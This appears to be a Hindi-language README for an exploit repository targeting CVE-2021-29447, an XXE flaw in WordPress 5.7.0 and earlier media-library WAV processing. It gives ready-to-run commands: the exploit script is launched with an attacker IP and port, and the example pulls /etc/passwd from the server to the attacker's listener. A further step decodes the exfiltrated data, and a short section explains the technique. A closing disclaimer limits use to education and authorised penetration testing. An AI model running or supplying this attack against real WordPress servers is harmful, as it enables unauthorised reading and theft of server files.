CVE-2021-29447 - WordPress XXE भेद्यता शोषण

विवरण

यह रिपॉजिटरी CVE-2021-29447 के लिए एक शोषण शामिल करता है, जो WordPress 5.7.0 और पिछले संस्करणों में मौजूद XXE (XML External Entity) भेद्यता है। भेद्यता मीडिया लाइब्रेरी में मौजूद है जो WAV फ़ाइलों को प्रोसेस करती है, जिससे एक हमलावर सर्वर से मनमानी फ़ाइलें पढ़ सकता है।

आवश्यकताएँ

• Bash
• Python 3
• Docker और Docker Compose (परीक्षण वातावरण चलाने के लिए)
• कमजोर WordPress सर्वर (5.7.0 या उससे नीचे)

फ़ाइलें

उपयोग

1. परीक्षण वातावरण चलाएँ

docker-compose up -d

2. शोषण चलाएँ

chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <archivo_objetivo>

पैरामीटर:

• -l हमलावर का IP (LHOST)
• -p हमलावर का पोर्ट (LPORT)
• -f सर्वर पर पढ़ने के लिए फ़ाइल का पथ
• -h सहायता दिखाएँ

उदाहरण:

./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd

3. डेटा डिकोड करें

एक्सफिल्ट्रेटेड डेटा base64 में एन्कोडेड और zlib से संपीड़ित आएंगे। उन्हें डिकोड करने के लिए:

php decode.php

तकनीक

शोषण एक WAV फ़ाइल के मेटाडेटा में एक XXE बाहरी इकाई डालकर काम करता है। जब WordPress फ़ाइल को प्रोसेस करता है, XML पार्सर बाहरी इकाई को हल करता है, जिससे सर्वर हमलावर के सर्वर को URL में एन्कोडेड फ़ाइल सामग्री के साथ एक HTTP अनुरोध भेजता है।

संदर्भ

• CVE-2021-29447
• WordPress 5.7.0 Security Release

चेतावनी

यह कोड केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए है। स्पष्ट प्राधिकरण के बिना सिस्टम पर उपयोग न करें।